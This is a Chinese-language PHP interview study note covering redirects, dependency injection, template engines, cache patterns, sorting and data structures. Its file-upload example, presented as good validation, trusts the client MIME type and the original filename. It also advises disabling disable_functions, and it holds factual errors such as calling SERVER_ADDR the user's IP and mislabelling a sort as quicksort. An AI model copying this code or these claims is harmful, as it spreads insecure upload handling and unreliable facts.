$_SERVER['SERVER_ADDR'] 瀏覽當前頁面的使用者的 IP 地址
-
- 瞭解代理透傳 實際IP 的概念
-
代理一般會在HTTP的Header中傳輸以下3個欄位:
REMOTE_ADDR
HTTP_X_FORWARDED_FOR
HTTP_VIA
對於透傳代理(Transparent Proxy)來說,你真實IP地址會被放在HTTP_X_FORWARDED_FOR裡面。這意味著網站可以知道代理的IP,還知道你實際的IP地址。HTTP_VIA頭也會傳送,顯示你正在使用代理伺服器
如何開啟 PHP 異常提示
-
- php.ini 開啟 display_errors 設定 error_reporting 等級
- 執行時,使用 ini_set(k, v); 動態設定
如何返回一個301重定向
-
- [WARNING] 一定當心設定 301 後指令碼會繼續執行,不要認為下面不會執行,必要時使用 die or exit
-
方法1:
header("HTTP/1.1 301 Moved Permanently");
header("Location: /option-a");
exit();
方法2:
http_response_code(301);
header('Location: /option-a');
exit;
如何獲取擴充套件安裝路徑
-
- phpinfo(); 頁面查詢 extension_dir
- 命令列 php -i |grep extension_dir
- 執行時 echo ini_get('extension_dir');
字串、數字比較大小的原理,注意 0 開頭的8進位制、0x 開頭16進位制
-
- 字串比較大小,從左(高位)至右,逐個字元 ASCII 比較
-
- 字串和數字比較,會先把字串轉換成數字型別,比如12se轉換成12,abx轉換成0,此時就不是字元的ASCII值與數字比較。0與任何不可轉換成數字的字串比較都是true
- 兩個不同進位制的數字比較會轉成十進位制比較(得出這個結論是因為我在php中直接輸出其他進位制數字時均顯示十進位制格式
- 猜想當數字字串和非十進位制數字比較大小時應該也是把數字轉換成十進位制形式再比較大小
BOM 頭是什麼,怎麼除去
function remove_utf8_bom($text)
{
$bom = pack('H*','EFBBBF');
$text = preg_replace("/^$bom/", '', $text);
return $text;
}
什麼是 MVC
MVC模式(Model–view–controller)是軟體工程中的一種軟體架構模式,把軟體系統分為三個基本部分:模型(Model)、檢視(View)和控制器(Controller)。
MVC模式最早由Trygve Reenskaug在1978年提出,是施樂帕羅奧多研究中心(Xerox PARC)在20世紀80年代為程式語言Smalltalk發明的一種軟體架構。MVC模式的目的是實現一種動態的程式設計,使後續對程式的修改和擴充套件簡化,並且使程式某一部分的重複利用成為可能。除此之外,此模式通過對複雜度的簡化,使程式結構更加直觀。軟體系統通過對自身基本部分分離的同時也賦予了各個基本部分應有的功能。
1)最上面的一層,是直接面向終端使用者的"檢視層"(View)。它是提供給使用者的操作介面,是程式的外殼。
2)最底下的一層,是核心的"資料層"(Model),也就是程式需要操作的資料或資訊。
3)中間的一層,就是"控制層"(Controller),它負責根據使用者從"檢視層"輸入的指令,選取"資料層"中的資料,然後對其進行相應的操作,產生最終結果。
依賴注入實現原理
一個用構造方法實現依賴注入的簡單例子(原文連結):
<?php
//依賴注入(Dependency injection)也叫控制反轉(Inversion of Control)是一種設計模式,這種模式用來減少程式間的耦合。
//假設我們有個類,需要用到資料庫連線,我們可能這樣寫
class UseDataBase{
protected $adapter;
public function __construct(){
$this->adapter=new MySqlAdapter;
}
public function getList(){
$this->adapter->query("sql語句");//使用MySqlAdapter類中的query方法;
}
}
class MySqlAdapter{};
//我們可以通過依賴注入來重構上面這個例子
class UseDataBase{
protected $adapter;
public function __construct(MySqlAdapter $adapter){
$this->adapter=$adapter;
}
public function getList(){
$this->adapter->query("sql語句");//使用MySqlAdapter類中的query方法;
}
}
class MySqlAdapter{};
//但是,當我們有很多種資料庫時,上面的這種方式就達不到要求或者要寫很多個usedatabase類,所以我們再重構上面的這個例子
class UseDataBase{
protected $adapter;
poublic function __construct(AdapterInterface $adapter){
$this->adapter=$adapter;
}
public function getList(){
$this->adapter->query("sql語句");//使用AdapterInterface類中的query方法;
}
}
interface AdapterInterface{};
class MySqlAdapter implements AdapterInterface{};
class MSsqlAdapter implements AdapterInterface{};
//這樣的話,當要使用不同的資料庫時,我們只需要新增資料庫類實現介面卡介面就夠了,
usedatabase類則不需要動。
?>
因為大多數應用程式都是由兩個或者更多的類通過彼此合作來實現業務邏輯,這使得每個物件都需要獲取與其合作的物件(也就是它所依賴的物件)的引用。如果這個獲取過程要靠自身實現,那麼將導致程式碼高度耦合並且難以維護和除錯。
如何非同步執行命令
不明白作者提出的這個問題是想問shell非同步執行還是php非同步執行指令碼。
Shell非同步執行:
bash提供了一個內建的命令來幫助管理非同步執行。wait命令可以讓父指令碼暫停,直到指定的程式(比如子指令碼)結束。
Php非同步執行指令碼:
必須在php.ini中註釋掉disable_functions,這樣popen函式才能使用。該函式開啟一個指向程式的管道,該程式由派生給定的 command 命令執行而產生。開啟一個指向程式的管道,該程式由派生給定的 command 命令執行而產生。所以可以通過呼叫它,但忽略它的輸出
resource popen ( string $command , string $mode )
$command:linux命令 $mode:模式。
返回一個和 fopen() 所返回的相同的檔案指標,只不過它是單向的(只能用於讀或寫)並且必須用 pclose() 來關閉。此指標可以用於fgets(),fgetss() 和 fwrite()。 當模式為 'r',返回的檔案指標等於命令的 STDOUT,當模式為 'w',返回的檔案指標等於命令的 STDIN。如果出錯返回 FALSE。
這種方法不能通過HTTP協議請求另外的一個WebService,只能執行本地的指令碼檔案。並且只能單向開啟,無法穿大量引數給被呼叫指令碼。並且如果,訪問量很高的時候,會產生大量的程式。如果使用到了外部資源,還要自己考慮競爭。
方法2
$ch = curl_init();
$curl_opt = array(
CURLOPT_URL=>'hostname/syncStock.php',
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_TIMEOUT=>1,);
curl_setopt_array($ch, $curl_opt);
$out = curl_exec($ch);
curl_close($ch);
原理:通過curl去呼叫一個php指令碼,如果響應時間超過了1秒鐘,則斷開該連線,程式繼續往下走而syncStock.php這個指令碼還在繼續往下執行。
缺點:必須設定CURLOPT_TIMEOUT=>1這個屬性,所以導致客戶端必須至少等待1秒。但是這個屬性不設定又不行,不設定的話,就會一直等待響應。就沒有非同步的效果了
模板引擎是什麼,解決什麼問題、實現原理(Smarty、Twig、Blade)
模板引擎是為了使使用者介面與業務資料(內容)分離而產生的,它可以生成特定格式的文件,用於網站的模板引擎就會生成一個標準的HTML文件。
模板引擎的實現方式有很多,最簡單的是“置換型”模板引擎,這類别範本引擎只是將指定模板內容(字串)中的特定標記(子字串)替換一下便生成了最終需要的業務資料(比如網頁)。
置換型模板引擎實現簡單,但其效率低下,無法滿足高負載的應用需求(比如有海量訪問的網站),因此還出現了“解釋型”模板引擎和“編譯型”模板引擎等。
模板引擎可以讓(網站)程式實現介面與資料分離,業務程式碼與邏輯程式碼的分離,這就大大提升了開發效率,良好的設計也使得程式碼重用變得更加容易。
我們司空見慣的模板安裝解除安裝等概念,基本上都和模板引擎有著千絲萬縷的聯絡。模板引擎不只是可以讓你實現程式碼分離(業務邏輯程式碼和使用者介面程式碼),也可以實現資料分離(動態資料與靜態資料),還可以實現程式碼單元共享(程式碼重用),甚至是多語言、動態頁面與靜態頁面自動均衡(SDE)等等與使用者介面可能沒有關係的功能。
Smarty:
Smarty是一個php模板引擎。更準確的說,它分離了邏輯程式和外在的內容,提供了一種易於管理的方法。Smarty總的設計理念就是分離業務邏輯和表現邏輯,優點概括如下:
速度——相對於其他的模板引擎技術而言,採用Smarty編寫的程式可以獲得最大速度的提高
編譯型——採用Smarty編寫的程式在執行時要編譯成一個非模板技術的PHP檔案,這個檔案採用了PHP與HTML混合的方式,在下一次訪問模板時將Web請求直接轉換到這個檔案中,而不再進行模板重新編譯(在源程式沒有改動的情況下),使用後續的呼叫速度更快
快取技術——Smarty提供了一種可選擇使用的快取技術,它可以將使用者最終看到的HTML檔案快取成一個靜態的HTML頁面。當使用者開啟Smarty快取時,並在設定的時間內,將使用者的Web請求直接轉換到這個靜態的HTML檔案中來,這相當於呼叫一個靜態的HTML檔案
外掛技術——Smarty模板引擎是採用PHP的物件導向技術實現,不僅可以在原始碼中修改,還可以自定義一些功能外掛(按規則自定義的函式)
強大的表現邏輯——在Smarty模板中能夠通過條件判斷以及迭代地處理資料,它實際上就是種程式設計語言,但語法簡單,設計人員在不需要預備的程式設計知識前提下就可以很快學會
模板繼承——模板的繼承是Smarty3的新事物。在模板繼承裡,將保持模板作為獨立頁面而不用載入其他頁面,可以操縱內容塊繼承它們。這使得模板更直觀、更有效和易管理
Twig:
Twig是一個靈活,快速,安全的PHP模板語言。它將模板編譯成經過優化的原始PHP程式碼。Twig擁有一個Sandbox模型來檢測不可信的模板程式碼。Twig由一個靈活的詞法分析器和語法分析器組成,可以讓開發人員定義自己的標籤,過濾器並建立自己的DSL。
Blade:
Blade 是 Laravel 提供的一個簡單而又強大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 並不限制你在檢視中使用原生 PHP 程式碼。所有 Blade 檢視檔案都將被編譯成原生的 PHP 程式碼並快取起來,除非它被修改,否則不會重新編譯,這就意味著 Blade 基本上不會給你的應用增加任何負擔。Blade 檢視檔案使用 .blade.php 作為副檔名,被存放在 resources/views 目錄。
如何實現鏈式操作 $obj->w()->m()->d();
- 簡單實現(關鍵通過做完操作後return $this;)
<?php
class Sql{
private $sql=array("from"=>"",
"where"=>"",
"order"=>"",
"limit"=>"");
public function from($tableName) {
$this->sql["from"]="FROM ".$tableName;
return $this;
}
public function where($_where='1=1') {
$this->sql["where"]="WHERE ".$_where;
return $this;
}
public function order($_order='id DESC') {
$this->sql["order"]="ORDER BY ".$_order;
return $this;
}
public function limit($_limit='30') {
$this->sql["limit"]="LIMIT 0,".$_limit;
return $this;
}
public function select($_select='*') {
return "SELECT ".$_select." ".(implode(" ",$this->sql));
}
}
$sql =new Sql();
echo $sql->from("testTable")->where("id=1")->order("id DESC")->limit(10)->select();
//輸出 SELECT * FROM testTable WHERE id=1 ORDER BY id DESC LIMIT 0,10
?>
- 利用__call()方法實現
<?php
class String
{
public $value;
public function __construct($str=null)
{
$this->value = $str;
}
public function __call($name, $args)
{
$this->value = call_user_func($name, $this->value, $args[0]);
return $this;
}
public function strlen()
{
return strlen($this->value);
}
}
$str = new String('01389');
echo $str->trim('0')->strlen();
// 輸出結果為 4;trim('0')後$str為"1389"
?>
Xhprof 、Xdebug 效能除錯工具使用
XHProf:
XHProf 是一個輕量級的分層效能測量分析器。 在資料收集階段,它跟蹤呼叫次數與測量資料,展示程式動態呼叫的弧線圖。 它在報告、後期處理階段計算了獨佔的效能度量,例如執行經過的時間、CPU 計算時間和記憶體開銷。 函式效能報告可以由呼叫者和被呼叫者終止。 在資料蒐集階段 XHProf 通過呼叫圖的迴圈來檢測遞迴函式,通過賦予唯一的深度名稱來避免遞迴呼叫的迴圈。
XHProf 包含了一個基於 HTML 的簡單使用者介面(由 PHP 寫成)。 基於瀏覽器的使用者介面使得瀏覽、分享效能資料結果更加簡單方便。 同時也支援檢視呼叫圖。
XHProf 的報告對理解程式碼執行結構常常很有幫助。 比如此分層報告可用於確定在哪個呼叫鏈裡呼叫了某個函式。
XHProf 對兩次執行進行比較(又名 "diff" 報告),或者多次執行資料的合計。 對比、合併報告,很像針對單次執行的“平式檢視”效能報告,就像“分層式檢視”的效能報告。
Xdebug:
Xdebug是一個開放原始碼的PHP程式偵錯程式(即一個Debug工具),可以用來跟蹤,
除錯和分析PHP程式的執行狀況。Xdebug的基本功能包括在錯誤條件下顯示堆疊軌跡,最大巢狀級別和時間跟蹤。
索引陣列 [1, 2] 與關聯陣列 ['k1'=>1, 'k2'=>2] 有什麼區別
暫時沒有研究太深,按簡單理解:
索引陣列的預設key是從0開始的數字,可省略不寫;而關聯陣列的key是字串,必須主動指明,字串內容可為數字也可為其他字元。
快取的使用方式、場景(原文copy的)
為什麼使用快取
提升效能:使用快取可以跳過資料庫查詢,分散式系統中可以跳過多次網路開銷。在讀多寫少的場景下,可以有效的提高效能,降低資料庫等系統的壓力。
快取的適用場景
1.資料不需要強一致性
2.讀多寫少,並且讀取得資料重複性較高
快取的正確開啟方式
1.Cache Aside 同時更新快取和資料庫
2.Read/Write Through 先更新快取,快取負責同步更新資料庫
3.Write Behind Caching 先更新快取,快取負責非同步更新資料庫
下面具體分析每種模式
一、Cache Aside 更新模式
這是最常用的快取模式了,具體的流程是:
讀取:應用程式先從 cache 取資料,取到後成功返回;沒有得到,則從資料庫中取資料,成功後,放到快取中。
更新:先把資料存到資料庫中,再清理快取使其失效。
不過這種模式有幾個變種:
第一,如果先更新資料庫再更新快取。假設兩個併發更新操作,資料庫先更新的反而後更新快取,資料庫後更新的反而先更新快取。這樣就會造成資料庫和快取中的資料不一致,應用程式中讀取的都是髒資料。
第二,先刪除快取再更新資料庫。假設一個更新操作先刪除了快取,一個讀操作沒有命中快取,從資料庫中取出資料並且更新回快取,再然後更新操作完成資料庫更新。這時資料庫和快取中的資料是不一致的,應用程式中讀取的都是原來的資料。
第三,先更新資料庫再刪除快取。假設一個讀操作沒有命中快取,然後讀取資料庫的老資料。同時有一個併發更新操作,在讀操作之後更新了資料庫並清空了快取。此時讀操作將之前從資料庫中讀取出的老資料更新回了快取。這時資料庫和快取中的資料也是不一致的。
但是一般情況下,快取用於讀多寫少的場景,所以第三種這種情況其實是小概率會出現的。
二、Read/Write Through 更新模式
Read Through 模式就是在查詢操作中更新快取,快取服務自己來載入。
Write Through 模式和 Read Through 相仿,不過是在更新資料時發生。當有資料更新的時候,如果沒有命中快取,直接更新資料庫,然後返回。如果命中了快取,則更新快取,然後由快取自己更新資料庫(這是一個同步操作)。
三、Write Behind Caching 更新模式
Write Behind Caching 更新模式就是在更新資料的時候,只更新快取,不更新資料庫,而我們的快取會非同步地批量更新資料庫。但其帶來的問題是,資料不是強一致性的,而且可能會丟失。
總結,三種快取模式的優缺點:
Cache Aside 更新模式實現起來比較簡單,最常用,實時性也高,但是需要應用需要關注核實載入資料進入快取 。
Read/Write Through 更新模式只需要維護一個快取,對應用遮蔽掉了快取的細節,實時性也高。但是實現起來要複雜一些。
Write Behind Caching 吞吐量很高,多次操作可以合併。但是資料可能會丟失,例如系統斷電等,實現起來最複雜。
實踐篇
給定二維陣列,根據某個欄位排序
舉例:一組學生資訊,要按年齡大小升序或降序排序(類似與sql語句的order by功能)
$arr = [
['id' => 6, 'name' => '小明'],
['id' => 1, 'name' => '小亮'],
['id' => 13, 'name' => '小紅'],
['id' => 2, 'name' => '小強'],
];
// 方法1:手動寫排序方法:
/** 對給定二維陣列按照某個欄位升序或降序排序
* @param $arr 給定一個二維陣列,這裡的$arr
* @param $sortField 根據哪個欄位排序,這裡的id
* @param string $sort 升序還是降序,預設升序
*思路:取出所有要排序的欄位的值組成一個新陣列,根據升序降序保留鍵值排序,此時新陣列的鍵值順序就是要得到的排序後的二維陣列的鍵值順序,然後將原二維陣列按照此鍵值順序排列即可。
注意:這裡沒有重置排序後的二維陣列的索引,如需重置可自行擴充套件
*/
private function arraySort($arr, $sortField, $sort = 'asc') {
$newArr = array();
foreach ($arr as $key => $value) {
$newArr[$key] = $value[$sortField];
}
($sort == 'asc') ? asort($newArr) : arsort($newArr);
foreach ($newArr as $k => $v) {
$newArr[$k] = $arr[$k];
}
return $newArr;
}
// 方法2:使用php提供的排序函式array_multisort(),預設會重置排序後的索引,即從0開始順序往下排
foreach ($arr as $key => $value) {
$id[$key] = $value['id'];
}
array_multisort($id, SORT_ASC, $arr); // 返回True or False
如何判斷上傳檔案型別,如:僅允許 jpg 上傳
網上出現頻率較高的一段程式碼:lz認為此段程式碼對上傳檔案的型別限制還是比較好的,因為之前看資料說僅通過mime型別判斷有時候不太靠譜,而僅通過檔案字尾名判斷好像也不是很靠譜,所以這裡採用雙重判斷,以下程式碼稍微加了點註釋:
<?php
$allowedExts = array("gif", "jpeg", "jpg", "png"); // 限定可上傳的檔案字尾名
$extension = end(explode(".", $_FILES["file"]["name"])); // 從檔名中獲取檔案字尾名
// 判斷上傳檔案mime型別是下列之一且大小小於20000B且檔案字尾名也符合要求
if ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/jpg")|| ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] < 20000)&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br>"; //臨時檔名
if (file_exists("upload/" . $_FILES["file"]["name"]))
{ // 同名檔案已存在時提示檔案已存在
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}else
{ // 檔案型別或大小不合適時提示無效檔案
echo "Invalid file";
}?>
不使用臨時變數交換兩個變數的值 $a=1; $b=2; => $a=2; $b=1;
最先想到的利用加減運算這裡就不說了,因為那隻適用於數字型別。
1.字串擷取法:
function myExchange(&$a = '', &$b = '') {
$a = $a . $b;
$b = substr($a,0,-strlen($b));
$a = substr($a,strlen($a)-strlen($b),strlen($b));
return true;
}
2.陣列法:
private function myExchange(&$a = '', &$b = '') {
$a = array($a, $b);
$b = $a[0];
$a = $a[1];
return true;
}
strtoupper 在轉換中文時存在亂碼,你如何解決?php echo strtoupper('ab你好c');
php echo strtoupper('ab你好c');(經測試中文系統下不會出現亂碼,網上資料說是英文系統或部分盜版系統或因編碼格式問題可能出現題述情況。
- mb系列函式解決(mb系列函式可以顯式指明編碼)
string mb_convert_case (string $str ,int $mode [,string $encoding = mb_internal_encoding()])
$mode有三種模式:
1.MB_CASE_UPPER:轉成大寫
2.MB_CASE_LOWER:轉成小寫
3.MB_CASE_TITLE :轉成首字母大寫
$encoding預設使用內部編碼;也可以顯示使用如’UTF-8’;
可以用echo mb_internal_encoding();來檢視;
此方法不僅可以解決中文問題,對其他問題也適用。
2.手動解決:用str_split(string $string, int $split_length = 1)按每個位元組切割,像中文能切割成三個位元組。對識別到的位元組若是英文字母則進行轉換。
<?php
function mystrtoupper($a){
$b = str_split($a, 1);
$r = '';
foreach($b as $v){
$v = ord($v);//對該字元轉成acsii碼
if($v >= 97 && $v<= 122){//判斷是否為小寫字母
$v -= 32;//轉換成大寫字母
}
$r .= chr($v);//將ascii碼再轉為相應的字元。
}
return $r;
}
$a = 'a中你繼續F@#$%^&*(BMDJFDoalsdkfjasl';echo 'origin string:'.$a."\n";echo 'result string:';$r = mystrtoupper($a);
var_dump($r);
Websocket、Long-Polling、Server-Sent Events(SSE) 區別
感覺簡書的這篇文章介紹的還不錯:原文連結,這裡只copy要點:
Long-Polling(基於AJAX長輪詢)
瀏覽器發出XMLHttpRequest 請求,伺服器端接收到請求後,會阻塞請求直到有資料或者超時才返回,瀏覽器JS在處理請求返回資訊(超時或有效資料)後再次發出請求,重新建立連線。在此期間伺服器端可能已經有新的資料到達,伺服器會選擇把資料儲存,直到重新建立連線,瀏覽器會把所有資料一次性取回。
Websocket
Websocket是一個全新的、獨立的協議,基於TCP協議,與http協議相容、卻不會融入http協議,僅僅作為html5的一部分。於是乎指令碼又被賦予了另一種能力:發起websocket請求。這種方式我們應該很熟悉,因為Ajax就是這麼做的,所不同的是,Ajax發起的是http請求而已。與http協議不同的請求/響應模式不同,Websocket在建立連線之前有一個Handshake(Opening Handshake)過程,在關閉連線前也有一個Handshake(Closing Handshake)過程,建立連線之後,雙方即可雙向通訊。
Server-Sent Events(SSE)
是一種允許服務端向客戶端推送新資料的HTML5技術。與由客戶端每隔幾秒從服務端輪詢拉取新資料相比,這是一種更優的解決方案。與WebSocket相比,它也能從服務端向客戶端推送資料。那如何決定你是用SSE還是WebSocket呢?概括來說,WebSocket能做的,SSE也能做,反之亦然,但在完成某些任務方面,它們各有千秋。WebSocket是一種更為複雜的服務端實現技術,但它是真正的雙向傳輸技術,既能從服務端向客戶端推送資料,也能從客戶端向服務端推送資料。
另外一篇網上盛傳的帖子:原文連結
StackOverflow上一篇對websockets和sse的比較
Websockets和SSE(伺服器傳送事件)都能夠將資料推送到瀏覽器,但它們不是競爭技術。
Websockets連線既可以將資料傳送到瀏覽器,也可以從瀏覽器接收資料。可以使用websockets的應用程式的一個很好的例子是聊天應用程式。
SSE連線只能將資料推送到瀏覽器。線上股票報價或更新時間軸或訂閱源的twitters是可以從SSE中受益的應用程式的良好示例。
實際上,由於SSE可以完成的所有工作也可以通過Websockets完成,因此Websockets得到了更多的關注和喜愛,並且更多的瀏覽器支援Websockets而不是SSE。
但是,對於某些型別的應用程式來說,它可能會過度,並且使用SSE等協議可以更容易地實現後端。
此外,SSE可以填充到本身不支援它的舊版瀏覽器中,只需使用JavaScript就可實現。可以在Modernizr github頁面上找到SSE polyfill的一些實現。
"Headers already sent" 錯誤是什麼意思,如何避免
錯誤說明:“不能更改頭資訊-頭已經發出”;意思大概是在你的程式碼中有修改header資訊的程式碼段,但是在此程式碼段之前header已經發出,所以報錯不能修改。
如何避免:在傳送header前不能有任何輸出,會傳送header的部分方法:
類似於輸出功能的操作(不能放在header相關處理之前):
無意的:
<?php之前或?>之後的空格
UTF-8編碼的BOM頭資訊
以前的錯誤訊息或通知
故意的:
print,echo等產生輸出的輸出
Raw <html> sections prior <?php code.(抱歉沒有看懂)
演算法篇
快速排序(手寫)
快速排序:每一次比較都把最大數放置最右側(不是很準確,不會描述了)(預設從小到大排列,倒序則相反)
沒有再去尋找更好的實現,直接貼上上學時用各種語言寫過的巢狀for迴圈形式:
for ($i = 0; $i < count($sortArr) - 1; $i++) {
for ($j = count($sortArr) - 1; $j > $i; $j--) {
if ($sortArr[$i] > $sortArr[$j]) {
$temp = $sortArr[$i];
$sortArr[$i] = $sortArr[$j];
$sortArr[$j] = $temp;
}
}
}
快速排序有點記不清了,話說除了面試也不會寫這種演算法了,不過以上程式碼是測試可以的,但不保證沒有bug
氣泡排序(手寫)
氣泡排序:兩兩比較,前者大於後者則交換(預設從小到大排列,倒序則相反)
沒有再去尋找更好的實現,直接貼上上學時用各種語言寫過的巢狀for迴圈形式:
for ($i = 0; $i < count($sortArr) - 1; $i++) {
for ($j = $i + 1; $j < count($sortArr); $j++) {
if ($sortArr[$i] > $sortArr[$j]) {
$temp = $sortArr[$i];
$sortArr[$i] = $sortArr[$j];
$sortArr[$j] = $temp;
}
}
}
我最喜歡的排序演算法,主要是寫的熟練,這裡只有核心實現,沒有細節校驗
二分查詢(瞭解)
二分查詢:每次查詢都將查詢範圍縮小一半,直至找到目標資料。
二分查詢遞迴實現(csdn找的):
function binSearch2($arr,$low,$height,$k){
if($low<=$height){
$mid=floor(($low+$height)/2);//獲取中間數
if($arr[$mid]==$k){
return $mid;
}elseif($arr[$mid]<$k){
return binSearch2($arr,$mid+1,$height,$k);
}elseif($arr[$mid]>$k){
return binSearch2($arr,$low,$mid-1,$k);
}
}
return -1;
}
查詢演算法 KMP(瞭解)
copy的KMP簡介
Knuth-Morris-Pratt 字串查詢演算法,簡稱為 “KMP演算法”,常用於在一個文字串S內查詢一個模式串P 的出現位置,這個演算法由Donald Knuth、Vaughan Pratt、James H. Morris三人於1977年聯合發表,故取這3人的姓氏命名此演算法。
下面先直接給出KMP的演算法流程(如果感到一點點不適,沒關係,堅持下,稍後會有具體步驟及解釋,越往後看越會柳暗花明☺):
假設現在文字串S匹配到 i 位置,模式串P匹配到 j 位置
如果j = -1,或者當前字元匹配成功(即S[i] == P[j]),都令i++,j++,繼續匹配下一個字元;
如果j != -1,且當前字元匹配失敗(即S[i] != P[j]),則令 i 不變,j = next[j]。此舉意味著失配時,模式串P相對於文字串S向右移動了j - next [j] 位。
換言之,當匹配失敗時,模式串向右移動的位數為:失配字元所在位置 - 失配字元對應的next 值(next 陣列的求解會在下文的3.3.3節中詳細闡述),即移動的實際位數為:j - next[j],且此值大於等於1。
深度、廣度優先搜尋(瞭解)
在學校演算法課上學過,但是還是沒信心能把他描述清楚,這裡要求也只是簡單瞭解,還是引用大神的文章了
**深度優先遍歷圖演算法步驟:
1.訪問頂點v;
2.依次從v的未被訪問的鄰接點出發,對圖進行深度優先遍歷;直至圖中和v有路徑相通的頂點都被訪問;
3.若此時圖中尚有頂點未被訪問,則從一個未被訪問的頂點出發,重新進行深度優先遍歷,直到圖中所有頂點均被訪問過為止。
廣度優先遍歷演算法步驟:
1.首先將根節點放入佇列中。
2.從佇列中取出第一個節點,並檢驗它是否為目標。如果找到目標,則結束搜尋並回傳結果。否則將它所有尚未檢驗過的直接子節點加入佇列中。
3.若佇列為空,表示整張圖都檢查過了——亦即圖中沒有欲搜尋的目標。結束搜尋並回傳“找不到目標”。
4.重複步驟2。
LRU 快取淘汰演算法(瞭解,Memcached 採用該演算法)
LRU (英文:Least Recently Used), 意為最近最少使用,這個演算法的精髓在於如果一塊資料最近被訪問,那麼它將來被訪問的機率也很高,根據資料的歷史訪問來淘汰長時間未使用的資料。
對圖理解:
- 新資料插入到連結串列頭部;
- 每當快取命中(即快取資料被訪問),則將資料移到連結串列頭部;
- 當連結串列滿的時候,將連結串列尾部的資料丟棄。
資料結構篇(瞭解)
既然這一篇要求也為了解,那就直接放幾句話的簡單概述了。
堆、棧特性
1.棧就像裝資料的桶或箱子
我們先從大家比較熟悉的棧說起吧,它是一種具有後進先出性質的資料結構,也就是說後存放的先取,先存放的後取。
這就如同我們要取出放在箱子裡面底下的東西(放入的比較早的物體),我們首先要移開壓在它上面的物體(放入的比較晚的物體)。
2.堆像一棵倒過來的樹
而堆就不同了,堆是一種經過排序的樹形資料結構,每個結點都有一個值。
通常我們所說的堆的資料結構,是指二叉堆。
堆的特點是根結點的值最小(或最大),且根結點的兩個子樹也是一個堆。
由於堆的這個特性,常用來實現優先佇列,堆的存取是隨意,這就如同我們在圖書館的書架上取書,雖然書的擺放是有順序的,但是我們想取任意一本時不必像棧一樣,先取出前面所有的書,書架這種機制不同於箱子,我們可以直接取出我們想要的書。
百度百科:
棧(作業系統):由作業系統自動分配釋放 ,存放函式的引數值,區域性變數的值等。其操作方式類似於資料結構中的棧。
堆(作業系統): 一般由程式設計師分配釋放, 若程式設計師不釋放,程式結束時可能由OS回收,分配方式倒是類似於連結串列。
棧使用的是一級快取, 他們通常都是被呼叫時處於儲存空間中,呼叫完畢立即釋放。
堆則是存放在二級快取中,生命週期由虛擬機器的垃圾回收演算法來決定(並不是一旦成為孤兒物件就能被回收)。所以呼叫這些物件的速度要相對來得低一些。
堆和棧的區別可以引用一位前輩的比喻來看出:
使用棧就象我們去飯館裡吃飯,只管點菜(發出申請)、付錢、和吃(使用),吃飽了就走,不必理會切菜、洗菜等準備工作和洗碗、刷鍋等掃尾工作,他的好處是快捷,但是自由度小。
使用堆就象是自己動手做喜歡吃的菜餚,比較麻煩,但是比較符合自己的口味,而且自由度大。比喻很形象,說的很通俗易懂,不知道你是否有點收穫。
佇列
佇列(queue)是一種採用先進先出(FIFO)策略的抽象資料結構,它的想法來自於生活中排隊的策略。顧客在付款結賬的時候,按照到來的先後順序排隊結賬,先來的顧客先結賬,後來的顧客後結賬。佇列的實現一般有陣列實現和連結串列實現兩種方式。
佇列又分單鏈佇列、迴圈佇列、陣列佇列,具體可參見維基
雜湊表
Hash表也稱雜湊表,也有直接譯作雜湊表,Hash表是一種特殊的資料結構,它同陣列、連結串列以及二叉排序樹等相比較有很明顯的區別,它能夠快速定位到想要查詢的記錄,而不是與表中存在的記錄的關鍵字進行比較來進行查詢。這個源於Hash表設計的特殊性,通過把關鍵碼值(Key value)對映到表中一個位置來訪問記錄,以加快查詢的速度。這個對映函式叫做Hash函式,存放記錄的陣列叫做Hash表。
連結串列
連結串列(Linked list)是一種常見的基礎資料結構,是一種線性表,但是並不會按線性的順序儲存資料,而是在每一個節點裡存到下一個節點的指標(Pointer)。由於不必須按順序儲存,連結串列在插入的時候可以達到O(1)的複雜度,比另一種線性表順序錶快得多,但是查詢一個節點或者訪問特定編號的節點則需要O(n)的時間,而順序表相應的時間複雜度分別是O(logn)和O(1)。
使用連結串列結構可以克服陣列連結串列需要預先知道資料大小的缺點,連結串列結構可以充分利用計算機記憶體空間,實現靈活的記憶體動態管理。但是連結串列失去了陣列隨機讀取的優點,同時連結串列由於增加了結點的指標域,空間開銷比較大。
對比篇
Cookie 與 Session 區別
網上的解釋和理解有淺有深,具體看需求了。比如最簡單的理解cookie存放在客戶端,session存放在服務端。
- 由於HTTP協議是無狀態的協議,所以服務端需要記錄使用者的狀態時,就需要用某種機制來識具體的使用者,這個機制就是Session.典型的場景比如購物車,當你點選下單按鈕時,由於HTTP協議無狀態,所以並不知道是哪個使用者操作的,所以服務端要為特定的使用者建立了特定的Session,用用於標識這個使用者,並且跟蹤使用者,這樣才知道購物車裡面有幾本書。這個Session是儲存在服務端的,有一個唯一標識。在服務端儲存Session的方法很多,記憶體、資料庫、檔案都有。叢集的時候也要考慮Session的轉移,在大型的網站,一般會有專門的Session伺服器叢集,用來儲存使用者會話,這個時候 Session 資訊都是放在記憶體的,使用一些快取服務比如Memcached之類的來放 Session。
- 思考一下服務端如何識別特定的客戶?這個時候Cookie就登場了。每次HTTP請求的時候,客戶端都會傳送相應的Cookie資訊到服務端。實際上大多數的應用都是用 Cookie 來實現Session跟蹤的,第一次建立Session的時候,服務端會在HTTP協議中告訴客戶端,需要在 Cookie 裡面記錄一個Session ID,以後每次請求把這個會話ID傳送到伺服器,我就知道你是誰了。有人問,如果客戶端的瀏覽器禁用了 Cookie 怎麼辦?一般這種情況下,會使用一種叫做URL重寫的技術來進行會話跟蹤,即每次HTTP互動,URL後面都會被附加上一個諸如 sid=xxxxx 這樣的引數,服務端據此來識別使用者。
